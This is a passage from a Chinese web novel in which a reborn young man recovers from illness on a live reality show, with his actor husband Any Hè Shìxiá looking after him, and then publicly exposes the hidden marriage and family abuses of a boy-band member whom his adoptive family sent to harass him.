贺如林的公司倒没受到太大影响——一是因为,网友们的主要火力都集中在最恶毒的宁家,分给别人的就少。二是因为,贺如林的公司不出名,靶子不大,而且压根还没上市,没处担心股价涨跌的问题。 但贺如林在这天下午,突然自己跳了出来,用公司官号承认了几年前出于戏耍心态、耽误了宁衣初填报志愿的事,并且表示:【……虽然主动承认错误也不可能让小初原谅,但继续装聋作哑的话,恐怕会让小初更生气,还是老老实实说个实话吧,说不定小初看我被骂了,会觉得我也得到惩罚了,以后不找我麻烦呢。】 他不跳出来,网友们还找不到地方讨伐他,他自己主动出来,合了不少网友的期待。 与此同时,也就意味着,又有人实名证明了宁家对宁衣初的欺凌虐待。 康宁的股价今日已经跌停,但不妨碍有的月卡年卡会员看到消息后被恶心到了,选择了退卡。原本在考虑签约或者续约的合作方也被舆论走向影响,对继续合作这件事犹豫起来,康宁上下短短时间就变得极其愁云惨淡。 这结果远超宁家人的意料。 宁绍仁在办公室里看着数据觉得窝火,干脆回了宁家,砸了不少花瓶,然后指责正好也回来了的宁安夏办事不力。 宁安夏一进门就被一通训,不满道:“早上贺适瑕还没澄清的时候,你可不是这么说我的,还夸我能干,大哥,做人不能这么两面三刀。要我说,最该骂的除了宁衣初之外,难道不是小书吗?要不是他,宁衣初哪来那么多机会发挥,我们用得着被逼到现在这个境地吗?” 提起宁则书,想到这件事还真得怪他,宁绍仁和在场其他宁家人都一滞。《 》 40-45 第41章 第 41 章 惊!某影帝亲口承认预备…… 舆情沸沸扬扬, 而事件焦点的宁衣初仍然在沉睡着。 他体质弱,每每生病了都要花比常人更多的时间才能修复苏醒过来。 这天下午医护人员又过来给他输了一次液,然后开了些口服的药。在输液结束后, 医护人员叮嘱贺适瑕, 如果宁衣初晚上还没醒的话, 最好再叫他们过来看看。 好在天擦黑的时候,已经退烧的宁衣初姗姗醒过来了。 他睁开眼, 脑子尚还有些发蒙,就盯着上方砖红色的屋顶看了会儿, 然后才回过神来, 微微偏头看向守在床边的贺适瑕。 贺适瑕见他看过来,放轻了声音:“阿宁, 你夜里发烧,睡了一整天, 现在体温量着是恢复正常了, 但你还有没有觉得哪里不舒服?” 宁衣初声音有些哑:“哪哪都不舒服,躺了一整天,腰酸背痛的,你问的是什么废话……扶我去卫生间, 我想简单擦一下身, 换身衣服, 难受死了。” 贺适瑕摸了摸宁衣初的头, 轻笑了声:“有心力嫌弃我,我就放心了。” 然后他没有扶宁衣初, 而是直接把他打横抱了起来,抱进了卫生间里。 宁衣初也懒得挣扎,只是看了眼卧室里的镜头:“今天这镜头一直挡着的?” 贺适瑕颔首:“你病了, 也没什么好直播的,虽然节目组来人问过是否可以把遮挡镜头的外套取下来,说是观众也都挺担心你的病情,但我拒绝了。” 【啊喂喂,虽然画面被挡住了但声音我们还是听得到的啊!】 【贺影帝你说话太直接了,辟谣分享瓜条的时候这样可以,但现在我不喜欢你的态度,太拿我们当外人了啊啊啊啊】 【宁衣初可算醒了,他这病得还挺严重的,睡了一个白天,期间好像都没醒过吧】 【我开车的欲望和我的道德在打架……已知宁衣初和贺适瑕结婚的来龙去脉后,我觉得我不该再说接下来的话,但是……贺适瑕是要帮宁衣初擦身体吧嘿嘿嘿】 【现在是卫生间门关上的声音吧,也没听到宁衣初下床走路的动静啊,看来是贺适瑕把他抱进卫生间的=w=】 宁衣初刚从病中醒来,手指都懒得动一下,既然贺适瑕愿意伺候,他也就从容接受了,反正又不是没被看光过。远的不提,他刚重生回来生病了那几天,也是贺适瑕照顾的,没什么可扭捏的。 在贺适瑕的帮忙下擦身换了衣服,宁衣初也恢复了点体力,准备自己往外面走,但刚抬脚就又被贺适瑕抱了起来。 贺适瑕没把宁衣初放回床上,而是先放到了他的地铺上面:“阿宁,你先在我这里坐会儿。你发烧期间难免出汗,先前没醒我也不方便折腾,现在我先帮你把床单被子这些换一下,免得你睡着不舒服。” 宁衣初惫懒地点了下头。 贺适瑕换床上用品之前,先去倒了杯温热的水来,递到宁衣初手里之后,他也没有松手,而是确认了下:“可以自己拿杯子吗?” 闻言,宁衣初想把整杯水直接砸在贺适瑕脸上。 他有气无力地反问:“怎么,我现在看上去特别像是不能自理的没手人士?” 贺适瑕笑了下:“你现在看上去很虚弱,我确实有点担心过度,那你拿稳,喝点水润润喉,我先去换被子了。” 卧室又不大,贺适瑕所谓的“去”也就是转个身的功夫。 宁衣初坐在贺适瑕的地铺上,端着杯水慢吞吞地喝着,眼睛落在面前,看着贺适瑕从衣柜里拿出节目组备好的替换床上用品。 然后宁衣初才注意到,贺适瑕眼下乌青,是睡眠不足造成的黑眼圈。 “你现在更丑了。”虽然知道贺适瑕是因为照顾他,才会睡眠不足的,但宁衣初还是选择吐槽。 贺适瑕正在拆枕套的手微微一顿,然后从善如流地回答:“好吧,回头我去整个容,按阿宁你喜欢的方向整,到时候你作为指导陪我一起做手术,好不好?” 宁衣初歪了下头:“你这属于先天不足,整容没用,直接换个脑袋吧。” 【惊!某影帝亲口承认预备整容!】 【笑死我了,你俩聊天怎么这么好玩】 【唉,没画面就没画面吧,当听广播剧了】 【你还别说,连弹幕都有,真有广播剧那味儿了】 【比广播剧体验感更好,咱们这是直播的,实时收听,实时交流!】 【现在的观众都要这样安慰自己了,可怜我自己】 【好奇,宁衣初是真的觉得贺适瑕丑,还是故意这么说的?】 【应该是故意的吧……不论如何宁衣初能把画画学好,审美应该是没问题的……】 【也不一定,审美是主观的,感受也是主观的,可能宁衣初对贺适瑕的主观喜恶影响了他对贺适瑕相貌的审美,当真觉得他丑也有可能的……】 【那好惨啊,在宁衣初的角度是不是就是跟一个不喜欢的丑八怪结婚了……】 【不是,等等,你们真觉得宁衣初嫌弃贺适瑕的脸吗?这不摆明了是故意埋汰贺适瑕而已嘛】 【听宁衣初的语气是开玩笑吧,这两天看下来感觉他对贺影帝说话就是这个风格……怎么不算是一种特殊待遇呢,贺影帝你说是不是?】 被说丑的贺适瑕忍俊不禁:“对了,阿宁,今天你睡着期间发生了不少事,正好这会儿跟你说说?” 宁衣初兴致缺缺:“没死人就不用告诉我了。” 贺适瑕想了想:“康宁的股价死了一下,算吗?” 宁衣初微微一顿,有兴趣了:“说来听听。” 【逗猫,猫不理,继续逗猫,猫有反应了,开心】 【哈哈哈哈哈贺影帝你也是很会说话了,康宁的股价死了一下哈哈哈】 【跌停怎么不算一种死呢,当然我更希望康宁告别社会圈,宁家人告别生物圈……】 【呃,所以贺适瑕现在是要告诉宁衣初,他当众承认了他们之间的一夜情……是吗?】 【求求了把挡住镜头的东西拿走吧,让我看看宁衣初听到这话的表情!一定很精彩啊啊啊错过了我会此生遗憾的啊啊啊】 听到宁家人趁他生病对外爆他的“黑料”,宁衣初心情平和,并不意外。他之前就猜测过宁则书是不是在打欲抑先扬的盘算,现在不过是宁家人确实如此行动了罢了,宁家人做出这种事完全不值得惊讶。 “和我小学、初中、高中都一个班级的同学?”宁衣初挑了下眉,慢悠悠道,“也不知道换个别的说辞,这么限定的身份也太容易被拆穿了。除了宁则书和宁安冬之外,我没有从小学到高中的同班同学。” 贺适瑕颔首:“以前在家听我妈骂过宁家人行事蠢,但没见识过,不过几个月前设计酒店意外那次,还有今天这次,倒是让我见识到了,宁家做事的确蠢。” 【说话好直接啊哈哈哈】 【其实贺哥说话一般都挺给人留余地的,这么直接说人蠢确实是第一次,足以见得宁家人到底有多可恶了】 【贺影帝他妈:谢谢你好大儿,帮我把私下骂过宁家人的事宣扬了一下】 宁衣初扯了扯唇角:“宁家人最致命的不是蠢这一点,而是他们的傲慢。” 贺适瑕:“的确,不然他们也不会那么有自信,觉得能掌控舆论场了。” 【可不就是愚蠢的傲慢吗,所以觉得那么漏洞百出的话术能说服网友】 【真不把网友们当长了脑子的人看啊】 【有一说一,康宁大酒店过去那么多年的确在国内酒店行业属于龙头了,是现在的当家人接手之后这几年才有明显下坡路趋向的。但这种先辈积攒下来的家业,只要没又蠢又爱动,至少够几代后辈坐吃山空,所以过去那些年宁家在他们的圈子里应该颇受吹捧,别人就算说闲话也不大会说到他们面前去,就给了他们一种无往不利的错觉,没想到同样的招数扩大化后压根不管用】 【康宁现在的当家人是谁啊?】 【挺好搜的,因为现在的当家人还蛮喜欢出席公开活动的,叫宁绍仁,也能搜到他提过自己的接班人会是长子宁则棋……所以就是宁则书的亲爹,宁衣初的养父吧】 【靠,之前还有人不知道怎么想的,在洗说可能是豪门人丁太多,宁衣初的养父母在家里说不上话、也是被家里人欺负的份,所以才管不了宁衣初被虐待的。结果呢?养父母就是当家人,可笑,好可恶】 【就算没有当家人这茬也没法洗啊,宁则书这个小儿子在宁家那么受宠,他的父母地位怎么可能低,而且宁衣初过去受过的苦,摆明了他的养父母是亲自参与的始作俑者】 【拿“养父母也有苦衷”来洗的,不是根本没了解清楚始末就迫不及待彰显自己与众不同的蠢货,就是故意释放恶意的垃圾】 【一想到明明是他们故意把信息对不上的小衣初带回宁家的,结果他们却一直对外说是小衣初故意骗了他们,我就要被这歹毒的夫妻俩气死了】 【某种程度上来说,他们那个圈子里的人都在助纣为虐……】 【毕竟都能混到一个圈子里了,就算有一定差距,但怎么也没差到真连一句质疑都不敢有,一点仗义执言都不能说的地步吧,其实就是和宁家一样,觉得一个福利院出来的孩子犯不着同情】 “等等……”骂完了宁家人傲慢,宁衣初才骤然反应过来,“你现在就这么直接把‘酒店意外’几个字说出来了的意思是……” 贺适瑕微微一顿,然后诚实回答:“抱歉,我自作主张,在澄清过程中承认了我们关系的重要转折点就是由于‘一夜情’……” 宁衣初面无表情:“哦,你继续。” 【哈哈哈哈这个语气】 【阿宁也被贺影帝的“坦诚”惊艳到了吧!嗯!】 【宁衣初:谁敢想啊,一病起来,合法伴侣把我们一夜情的消息散播出去了!】 贺适瑕抱歉笑笑,手下的床单被套都换好了,他便先把宁衣初又抱回了床上,才准备接着说。 宁衣初刚才坐在地上的时候没什么感觉,现在回到床上,一对比,他挑了下眉:“你睡的地板蛮硬的。” 贺适瑕忍俊不禁:“嗯,所以它叫地板。刚才说到了什么地方来着……你饿了吧,都一天没吃饭了,节目组有送饭菜过来,我刚才去厨房帮你倒水的时候顺便热上了,现在应该差不多可以了,我先去把饭菜给你端过来,再慢慢说,好吗?” 宁衣初看了眼卧室里,想了想:“去外面吃吧,端过来也不方便。我现在清醒了不少,没那么脆弱。” 没有方便床上用的小桌子,把饭菜端过来也确实不方便,贺适瑕见宁衣初脸色还好——虽然是一如既往的苍白,但毕竟是如常了——便没再坚持把宁衣初当易碎的琉璃。 “好,我帮你拿件外套穿上吧。”贺适瑕说。 【好好好,去外面我们就能看到画面了】 【感谢阿宁的馈赠,我就知道还是你最不拿我们观众当外人】 【宁衣初听到自己被辟谣没怀孕会是什么表情,我已经迫不及待了嘿嘿嘿】 外面的“客厅”里堆了红砖,其实也不怎么方便,贺适瑕干脆端了凳子,和宁衣初一起直接坐在厨房里吃饭了。 贺适瑕有一口没一口地吃着,大多时间都在跟宁衣初讲述今天发生的事情,宁衣初则边听边吃。 听到贺适瑕否认他怀孕那段,宁衣初挑了下眉:“幸好你是否认了。” 要是贺适瑕在这件事上也说了实话,虽然也谈不上顾虑什么,但总归是多了一件事,不如少一件事的好。 贺适瑕知道他的真实意思,嘴上还是糊弄观众地回道:“这么离谱的事,我就算想不着调地承认,也得观众信,而且你醒了之后不杀了我才行啊。阿宁,你有没有觉得节目组准备的饭菜,不如我昨晚亲手做的好吃?” 宁衣初不怎么给面子:“没觉得,有吃的就行。” 【节目组的厨师:我也是贺老师你向你对象孔雀开屏play的一环吗?】 【贺影帝你到底为什么要多余问这句哈哈哈哈】 宁衣初吃完饭,贺适瑕也把今天发生的事情全部告诉了他。 见宁衣初准备回卧室了,贺适瑕叫住他:“等等,阿宁,你现在虽然已经退烧了,但医生开了口服的药 ,还是再吃点药巩固一下比较好,都是饭后吃的,我帮你拿……” 吃药这种事,宁衣初倒不会拿自己的身体跟贺适瑕唱反调。 宁衣初吃完药回了卧室,贺适瑕则继续吃饭,然后收拾了厨房。 药物有一定催眠作用,宁衣初虽然睡了一整天了,但本身还是有点疲惫,吃了药之后很快又涌上了睡意。贺适瑕回到卧室里时,宁衣初已经又睡着了。 看着睡容恬静的宁衣初,贺适瑕悬了一天的心总算放下了。 他从昨天半夜开始就没合眼,现在也挺困的,便放轻手脚洗漱了一番,然后也早早睡了。 直到夜半时分,贺适瑕又一次惊醒,这次他醒得毫无征兆,睁开眼就下意识看向了床上的方向,屏气凝神细听,没听见咳嗽声,才算松了第一口气。 然后贺适瑕又小心翼翼起身,摸到床边,探手试了试宁衣初的额温,确认一切正常后,他才松了第二口气,回地铺躺下继续睡了。 翌日一早,宁衣初起床时感觉浑身轻松了不少。 他洗了个澡,换上了出门穿的常服,吃过节目组对病号特别关照送来的早餐后又吃了药,然后戴了个口罩,准备继续录制节目了。 贺适瑕有心想让宁衣初再休息休息,但宁衣初觉得自己现在每一天都很金贵,在对自己的身体状况有了解的情况下,他不想把新的一天只用在休养上。 出一趟门,哪怕只是找个人来怼几句也行,算是做了点事。 而且有上辈子的记忆,他们都知道今天节目组的安排是全程室内的狼人杀游戏,不会因为在外面走动吹风着凉,也不是需要上蹿下跳费体力的事儿。 宁衣初愿意这么快恢复参与节目录制,节目组求之不得,都不让宁衣初和贺适瑕自己拿着地图找路了,直接让工作人员开车把他们送到了今天的游戏地点。 不过鉴于岛上的路况,这坐车的体验感也没有好到哪里去就是了。 今天节目组安排的狼人杀游戏点,是一座废弃医院——还是一样的起因和结果,有医院是因为原本想建旅游小岛、基础设施总得齐全,只有空壳就废弃了是因为旅游小岛计划终止。 现在用来玩狼人杀,倒算是一种独特的氛围感。 因为其他嘉宾还需要在起床后,自行前往餐饮点做早饭,吃过早饭才按着节目组给的地图标记寻找游戏地点并步行前往,所以宁衣初和贺适瑕反倒是这天最早抵达游戏地点的人。 他们在废弃医院的大厅里坐了会儿,然后其他嘉宾才一起来了,看到里面坐着贺适瑕和戴着口罩的宁衣初,其他嘉宾都有点惊讶。 宁则书往前走了几步:“小初你病好了吗?昨天听说你生病,我本来想去探望一下,但节目组的工作人员阻拦了我,说你其实也没醒、就算有人去了也不知道,我就没去打扰你了。怎么会生病的……” 宁衣初听他说话就烦,懒得理,直接没回答。 宁则书也无所谓的样子,好像说完自己的话、确定宁衣初有听到就行了,宁衣初不搭理他,他就继续自行找了个位子先坐下来。 【不得不说,我是佩服宁则书的心态的……】 【就好像他完全不知道昨天宁家想要给宁衣初泼脏水,结果自食恶果受到了很大打击这些事似的,打招呼的语气甚至更亲昵了……】 【要是我有宁则书这个“好心态”,我一定能在各种不要脸的赛道一骑绝尘脱颖而出】 【实不相瞒我更好奇宁则书到底在想什么了】 【宁则书只是第一期的飞行嘉宾,明天一早就要走了吧,可喜可贺可喜可贺】 【话说Alien那三个人昨天一早就走了,这件事贺影帝和宁衣初是不是还不知道来着?】 宁衣初和贺适瑕的确还不知道这件事。毕竟昨天宁衣初生病,贺适瑕照顾着他,那不肯离开半步的样子,让节目组都不好意思去商量昨天节目行程的事,只好默认了贺适瑕是跟病号一起暂时不录了。 所以Alien男团的纪天风、郑谷和沈周三人已经离开小岛、提前退出了节目录制的事,节目组也就没有特意去跟贺适瑕说。 而提前退出了三个人,节目组也连夜安排了救场的飞行嘉宾替补上,昨天Alien的三人走,救场嘉宾们同时就到了,巧的是正好也是一个男团。 不过和Alien只来了三个人不一样,这个新男团是队内五个人都来了,让在场嘉宾人数的总量达到了十二个。 眼下,新男团的五个成员跟在国民夫妻的任世和秦暮云身后走进来,看到宁衣初和贺适瑕也在,其中为首人气最高、已经从男爱豆转型为“演员”的当红小生方善游反应很快,他主动热情地自我介绍起来。 “贺老师、宁老师好,我们是男团Tomato的成员,我是队长方善游,前天晚上Alien的那三位选择了提前退出节目,节目组便连夜联系了我们,也算是让我们来救场吧哈哈,不过即便没有这件事,我们团也本来就会和在场几位老师碰面,因为我们本来是计划的第二期飞行嘉宾。” 宁衣初和贺适瑕当然知道,上辈子就没这个“意外状况”,Alien和Make录完了前三天,然后Tomato的五个人作为第二期飞行嘉宾续上。 不过,“Alien选择了提前退出节目”,显然就是个节目组保留了最后一点表面和谐的说辞,看第一天结束时那三个人的表现,不可能是当晚就会愿意主动退出节目的。 事实也确实是,纪天风、郑谷和沈周被爆出来的黑料太过恶劣,节目组也担心按原计划让他们继续参与下去会造成观众对节目的反感,只是第一天白天的时候连节目组也还没来得及做出反应。 毕竟商量要不要让Alien这三人提前退出、他们退出后空缺的飞行嘉宾席位怎么办,以及临时联系救场嘉宾也都需要时间,而且毕竟是直播节目,节目组也不方便在直播镜头下当天就直接把Alien的人撤下来。 所以是直到那天录完,节目组才和Alien经纪人那边达成了协定,让他们提前退出,并且敲定了原定的第二期飞行嘉宾们提前过来。 导演很庆幸,幸好Tomato这个男团还有不到半个月就要解散,本来上这个节目也是打着“最后一次团综”的名号来宣传的,在此之前他们团早就没有其他邀约了,现在让他们提前来,也不至于抽不出档期。 Tomato的五人昨天已经和其他嘉宾共同录制了一整天,其他嘉宾对他们的印象还算中规中矩,观众们也觉得挺和谐,尤其是其中的方善游作为队长兼热度最高的当红小生,目前看起来待人接物都挺周到。 然而,出乎其他人意料的是,这个待人接物周到的当红小生,在听起来也挺友好的自我介绍之后,突然话锋一转,说:“宁老师昨天生病了,我们怕打扰也没去探望,看到你现在能回来录节目了,我们就放心了。” “听说宁老师过去在宁家吃了不少苦,总被责骂体罚……唉,我也不知道该怎么安慰才好,只能说往好处看吧,至少宁家这些行为,反倒把宁老师你的身体素质锻炼得似乎还不错,所以你才能这么快病愈、回归节目嘛。” 在周遭人的或震惊或皱眉中,宁衣初看着满脸都写着真诚的方善游,意味深长地挑了下眉:“怎么,方老师很喜欢Alien的下场,所以迫不及待来找我帮忙?” 第42章 第 42 章 欺骗粉丝,出轨睡粉,生…… 宁衣初此话一出, 方善游脸色微微一变。 但他随即继续笑道:“宁老师这话是什么意思?我只是说了点安慰你的话而已,如果说得不好听,那我之后就不说了, 冒犯到宁老师了很抱歉。对了, 我的队友们还没自我介绍呢……” “冒犯完了就想当作无事发生, 是谁跟你说的我脾气那么好了?”宁衣初打断道,“宁安夏吗?” 【嗯?!宁安夏?!】 【是夏至娱乐的老板, 宁则书的五姑姑吧】 【怎么突然提到她了?】 【怎么又和宁家人有关……跟鬼似的,我要是宁衣初我得疯】 【不过如果和宁家人有关的话, 那就可以解释方善游为什么突然来这一出了】 【好刻薄啊方善游, “安慰”被欺凌的人说,虐待你的人是锻炼了你的抗压能力, 我故意找茬都想不出这种说辞】 【呃,之前看过方善游演的戏, 本来还以为是个阳光懂事大男孩那类型的……】 【每次看到称呼成年男明星为大男孩的我就无语得想笑】 【不是, 方善游为什么突然这样啊,他昨天不是还算挺正常的吗,他是觉得这种话说出来,别人真的听不出其中的恶意吗?还是现在“心直口话不会说话”的人设特别吃香吗, 之前的郑谷也是想走这个路线……】 【宁衣初提到了宁安夏, 意思是宁安夏安排他这样做的吧】 【方善游被威胁了?】 【可是看起来他还挺如鱼得水本性暴露的, 就算真是被威胁着来找茬宁衣初的, 也不妨碍他顺便释放本性,不然就像前面说的, 故意找茬都想不出来方善游这么恶心刻薄的说辞】 【方善游认识宁安夏?他们男团是夏至娱乐的吗?】 【不是啊,Tomato跟夏至娱乐没关系】 【救了命了,我朋友追Alien, 我追Tomato,第一天她原地脱粉后伤心得节目都不看了,我还安利想让她一起来看Tomato出场来着……】 【实不相瞒我现在就想把方善游的嘴捂上,求他别说了,Tomato还有半个月就解散了,留个好名声吧】 【捂方善游的嘴得穿越回一分钟前去捂,现在捂没用了,摆明了宁衣初没那么好欺负,而且听起来宁衣初还真知道方善游的黑料】 【嘿嘿嘿本吃瓜路人又开始兴奋了】 【Tomato其他成员的唯粉别害怕,说不定只塌方善游一个呢……】 听到宁衣初直接点出了宁安夏的名字,方善游脸上的笑容消失了好几秒,再扯出来时就强颜欢笑得格外明显了:“宁老师怎么突然提别人了……” “说实话,我毕竟是在娱乐圈里的,这个节目第一天的直播我也看过,所以我要是说完全不知道你现在提起的‘宁安夏’是谁,那也太把人当傻子了,但我确实跟夏至娱乐这位老板不熟……” 宁衣初眨了眨眼:“不熟也正常,你这话倒未必是说谎。” 方善游刚想松一口气,就听到宁衣初继续说:“就像我,虽然也知道你的黑料,但我们也不熟嘛。” 方善游卡壳了:“你……” 宁衣初看向附近的镜头:“观众应该挺好奇,方善游干嘛发癫地当众主动找我茬?” 不止观众好奇,在场其他嘉宾也都挺好奇和疑惑的。 方善游的四个队友中,此时有人小声问:“善游,你做什么呢……” 方善游磨了磨牙,还是试图挽救地对宁衣初说:“宁老师,我对我刚才跟你说的话道歉,我承认我确实是故意的,但这里面没有其他隐情,纯属我个人私心,你现在颇受关注,我想要挑起话题蹭热度,对不起。” 宁衣初笑了下:“这么壮士断腕,我估计观众更好奇了。” 【是的是的是的(小鸡啄米点头)】 【哇塞能让方善游选择这种自黑的说辞,都想要遮掩过去的隐情……】 【他是不想让宁安夏也被扯到这件事里来吧?好像还挺维护她的(虽然目前这一条只是猜测,但我觉得看宁衣初和方善游的态度,基本可以肯定就是宁安夏指使了吧)】 【我觉得不是为了维护宁安夏,而是如果让宁衣初说下去,就算宁衣初不曝光方善游的黑料,宁安夏也会因为他办事不力还把她扯进去了,而曝光出来】 【我也觉得,宁衣初刚才说知道方善游的黑料时,用了个“也”字,前后联系一下应该就是说宁安夏也是知道方善游的黑料,而且以此拿捏了方善游来做这件事,方善游是怕自己的黑料被曝光,所以宁愿承认自己想要走歪门邪道来博取关注,这样顶多就是一点形象受损罢了】 【可惜,方善游还是把宁衣初想得太好欺负了,宁衣初不会因为他滑跪得快就放弃“追杀”的哈哈哈】 【这下我更好奇方善游的黑料了】 【话说宁衣初是怎么能马上就确定这件事和宁安夏有关的?】 【Tomato这几个人本来就是第二期的飞行嘉宾,我猜和之前Alien那几个人的黑料一样,宁衣初有提前了解过以防万一吧】 【可怜的阿宁,病才刚好,怕反复所以还戴着口罩,就又要应付这些糟心事】 方善游还想阻止,但宁衣初懒得跟他兜圈子,直接帮他坦诚道:“估计机灵的观众们也已经猜到了,是夏至娱乐的老板、也算我名义上的五姑姑吧,指使方老师来膈应恶心我。” 这件事,其实上辈子在节目期间也有发生过,不过上辈子的方善游做得没这么迫不及待和明显,他的分寸把握得更到位,偶尔膈应一下宁衣初,却又是模棱两可的。 即便目的是想让宁衣初出丑,方善游也用的是一种乍看很友好、细究有点怪,但你要是细究就可以说你是太敏感了、把人想得太坏了的方式。 加上上辈子的宁衣初也没有像如今这样得观众心,所以上辈子方善游把宁安夏的这个吩咐完成得很完美,观众们都毫无怀疑。 但这辈子,观众们喜欢宁衣初敞亮带他们一起吃瓜的行事作风、怜爱宁衣初过去的经历,本来就容易跟他同仇敌忾,宁衣初觉得不舒服了也半点不忍让,所以方善游再要完成宁安夏的吩咐,原本起始难度就很大了。 按理来说,方善游应该比上辈子更加小心行事才对,但偏偏一上来就开场,生怕这出戏唱晚了点…… 宁衣初猜测,应该是宁家被昨天的舆论反扑弄得气急败坏,宁安夏想要出气,迫不及待要求看到宁衣初不舒坦的场面,所以下命令的强度比上辈子高了很多,上辈子她就是随口吩咐了一句,本身没有太上心。 而这辈子的方善游在强势威逼下,没有时间再像上辈子那样先表达友好、再冷不丁给宁衣初挖坑地慢慢行动,那样“细水流长”的方式也很难满足当下宁家人的情绪。 他必须一开始就让宁安夏看到想要的场面,这也就意味着他在公众眼里的形象必然会受损,可他还是得做,因为“两害相权取其轻”。 宁衣初脑海中闪过了上辈子的一些事,嘴上慢悠悠地满足吃瓜群众们的好奇心:“而方老师为什么愿意让自己口碑受损也要答应这件事,为什么刚才宁愿承认自己居心不良也要把宁安夏择出去……当然是因为宁安夏知道他的把柄,那些黑料爆出来,可就不是这点程度的口碑受损了,对吧,方老师?” 方善游咬了咬牙:“宁老师,我真的知道错了,你就不能高抬贵手吗?” 【哇塞,当众求情啊,看来这见不得光的黑料真的很大了】 【行吧,本粉丝收拾收拾准备塌房了,幸好还没粉上多久,现在心碎得比较好补……】 “方老师,你不会打算说都是宁安夏要挟你的,你其实也不想针对我吧?”宁衣初好整以暇地看着方善游。 方善游仍然妄图能息事宁人,想也不想地连忙点头:“我跟宁老师你无冤无仇,知道宁老师你过去的遭遇后我也很同情你,要不是被迫,我有什么必要针对你呢,这对我的名声也不好啊。真的对不起,宁老师,我真的真的知道错了……” “你知道错了,是因为没意料到原来我也知道你的黑料、你找我茬是会被反噬的,不是你真的觉得这件事不该做。”宁衣初扯了扯嘴角。 “你会被宁安夏要挟到,是因为你确实有不能见光的事,不用说得自己很可怜似的。而且,你虽然对宁安夏要挟你的行为感到不快,但你实施的时候可是挺卖力的,半点都看不出被迫,其实你也很开心有一个机会能释放本性吧?” 方善游咬了咬牙:“……你一定要这么咄咄逼人吗?” 宁衣初忍俊不禁:“方老师要是早点知道咄咄逼人不讨喜,刚才别找我说那些‘安慰’的话,我一时半会儿还真懒得跟你交流。结果你非要一开始就找我茬,看吧,又要给节目组添麻烦了。” 说着,宁衣初看了眼Tomato的其他四人:“不过反正你们来了五个人,少你一个提前走掉,好像也不太影响?” 听到这话,既想要话题度又害怕嘉宾再次被一窝端的节目组松了口气,方善游的其他四个队友和他们的唯粉们也松了口气。 方善游却是意识到了,宁衣初真的不打算放过他,如果他的黑料被抖出来,他会像Alien的那几个人一样变得声名狼藉、这档节目可能就是他最后一次公开露面了。 但宁衣初恐怕是软硬不吃,看Alien那三个人就知道了,纪天风和郑谷那么“硬气”,沈周那么沉默不反驳,都没影响宁衣初把他们的黑料放完。 方善游绝望了。 “一件事一件事来吧……方老师,你粉丝们知道你在爱豆时期、自称单身的时候,就已经跟一个女粉丝谈恋爱了的事吗?你女朋友知道你出道前就已婚还准备生三胎吗?”宁衣初慢条斯理地开启了爆料。 方善游脸上一片空白。 方善游的队友们知道没自己什么事,放松下来,这会儿也跟吃瓜群众似的震惊道:“真的吗?善游?” 【我靠,谈恋爱,结婚,生娃还是三胎……】 【如果只是谈恋爱的话也还好,反正他现在转型做演员了,演得好不好的见仁见智吧,但至少有这个名头在,哪怕是以前爱豆时期的粉丝也能自我安慰说我家哥哥现在是演员,靠作品不是靠粉丝打投吃饭……】 【结婚也是,正经谈恋爱然后结婚的话,路人不会在意,看到粉丝只因为这个回踩还会觉得粉丝太夸张,然后大多粉丝还会从中找闪光点,比如夸我家哥哥稳重、对人生负责什么的】 【但他是在出道前就结婚了啊!还在爱豆时期一边媚粉保证单身,一边谈恋爱,甚至是跟粉丝恋爱……】 【欺骗粉丝和出轨睡粉……】 【生三胎我的天,我刚去搜了下这个方善游也才二十六岁,这就准备生三胎了?】 【而且他作为Tomato的成员出道三年,算上选秀节目时期也总共不到四年,也就是说他在刚满法定婚龄的时候就结婚了,如果前面两胎都是婚内生的话,那也就是让他老婆生了还没怎么休息就继续生……】 【如果前面两胎不是婚内生的话那更惊人了好吗,什么观念啊,早婚早育都不带这样的,有点太封建了吧】 【额,合理怀疑前两胎是不是女儿,所以继续生三胎追儿子】 【我靠,刚开始就这么刺激吗,宁衣初还说的是一件事一件事来,接下来还有!】 【方善游看上去已经放弃挣扎了……】 【哦不,他看起来准备说话了】 【让我们听听他要怎么狡辩】 方善游的确绝望,而吸取Alien的教训,他也不想像个小丑一样睁着眼睛说瞎话地不认,毕竟宁衣初能把这事说出来,就说明他一定有办法证明,方善游狡辩也没用、只会更加深吃瓜群众们的负面印象。 但他还是不想就这么放弃,试图为自己搏取同情:“我承认,我的确早就结婚了,老婆现在怀上第三个孩子了,我之前也出轨了女粉丝谈恋爱……” 【我靠,我以为他要狡辩呢,没想到就这么水灵灵地承认了!】 【我知道了,接下来的戏码应该是我有苦衷我可怜我痛……】 像是应和弹幕刷过的内容似的,方善游也正好接着说道:“但我是有苦衷的!” “我原名叫方善友,朋友的友,改成现在这个游泳的游,是为了出道后不显得太土气……我出身一个很偏僻的山村,全村观念都特别保守老旧,我是我家这一代唯一的男丁,我从小就知道得读书才能出人头地,但我家里觉得能传宗接代就行了,读书那么苦那么累,他们说心疼我,所以我连大学都没能去上……” 说着,方善游擦了擦眼睛:“宁老师你也是大学志愿被耽搁了的人,应该最懂我的痛苦和遗憾了。” 宁衣初挑了下眉:“又没眼泪,擦什么擦,太做作了。” 方善游胳膊一僵,这下放下也不是、不放下也不是了。 宁衣初饶有兴致地问:“要不让贺影帝这个前辈给你做个示范,表演一下哭戏?” 贺适瑕无奈笑笑。 方善游放下手,露出怒气:“我原本以为,至少在被家里人拖累这件事上,至少在大学这件事上,宁老师你能和我共情,没想到是我自作多情了!别人还在给宁老师你打抱不平,说宁家不把福利院出来的孩子当孩子,结果呢,我看宁老师你早就融入宁家人了吧,一样的高高在上,不把我这种小山村出来的孩子当人!” 宁衣初歪了下头:“我为什么要共情一个谎话连篇的耀祖?” 方善游瞪着他:“我确实出身贫穷,我……” “我没说你户口撒谎了。”宁衣初打断道,“你说你被家里人拖累,你家里人觉得能传宗接代就行,打着心疼你的名义耽误了你读书?可据我所知,你家里人都很希望你出人头地光宗耀祖,是求着你好好上学读书的。” 方善游没想到他连这都知道,一下没了底气:“我……” 宁衣初:“你家里穷,你小时候要上学了,你父母他们就把你大姐‘嫁’给了出得起彩礼但打死过一个老婆、逼得一个老婆喝农药自杀的中年男人,你是用你大姐的彩礼钱买的上学的新书包、新衣服。” “后来你大姐不堪折磨逃走,那个中年男人就对外嚷嚷你大姐是跟别的男人跑了,要你们家退彩礼钱,你父母不敢和他对垒,但钱没剩什么了,就把你刚成年的二姐又换了彩礼。” “二姐的彩礼钱给了那个中年男人之后,也剩得不多了,你父母干脆就把你的小妹给了在找童养媳的人家,还美名其曰家里穷、小妹去了别家能过好日子,如此又换来了钱,供你在上学。” 